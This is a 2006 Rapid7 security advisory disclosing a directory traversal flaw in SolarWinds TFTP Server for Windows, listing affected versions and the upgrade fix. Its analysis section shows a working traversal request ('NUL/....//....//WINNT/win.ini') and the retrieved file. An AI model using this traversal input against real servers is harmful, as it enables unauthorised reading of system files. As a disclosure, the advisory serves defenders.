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Rapid7, LLC Security Advisory
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Rapid7 Advisory R7-0019
Directory traversal vulnerability in SolarWinds TFTP Server for Windows
Date: April 21, 2006
Revision: 1.0
http://www.rapid7.com/advisories/R7-0019.html
CVE: CVE-2006-1951
1. Affected system(s):
KNOWN VULNERABLE:
o SolarWinds TFTP Server v8.1 and earlier
KNOWN FIXED:
o SolarWinds TFTP Server v8.2
2. Summary
Rapid7 has found a directory traversal vulnerability in SolarWinds
TFTP Server for Windows. This vulnerability allows remote users to
download any files outside of the server's TFTP data directory.
3. Vendor status and information
SolarWinds
http://www.solarwinds.net/Tools/Free_tools/TFTP_Server/
Vendor was notified of this vulnerability. The vulnerability
is not present in the newest version of TFTP Server version 8.2,
released in September 2005.
4. Solution
Upgrade to TFTP Server version 8.2 or later.
5. Detailed analysis
TFTP servers are often used to transfer configuration files and
operating system images to routers. TFTP is also used for devices
that support PXE booting.
Most implementations do trivial filtering on requested filenames
such as "../filename" to prevent easy directory traversal.
However, it is easy to bypass this filtering by manipulating the
filename being requested.
With the SolarWinds TFTP server, any file on the system can be
downloaded using a request similar to the following:
$ tftp 192.168.0.1
tftp> get NUL/....//....//WINNT/win.ini
Received 582 bytes in 0.0 seconds
tftp> quit
$ cat win.ini
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
...
6. Credit
This vulnerability was discovered by Chad Loder of Rapid7.
7. Contact Information
Rapid7, LLC
Email: advisory (at) rapid7 (dot) com [email concealed]
Web: http://www.rapid7.com/
Phone: +1 (617) 247-1717
8. Disclaimer and Copyright
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provided in our security advisories. These advisories are a service
to the professional security community. There are NO WARRANTIES
with regard to this information. Any application or distribution of
this information constitutes acceptance AS IS, at the user's own
risk. This information is subject to change without notice.
This advisory Copyright (C) 2006 Rapid7, LLC. Permission is
hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers
remain intact.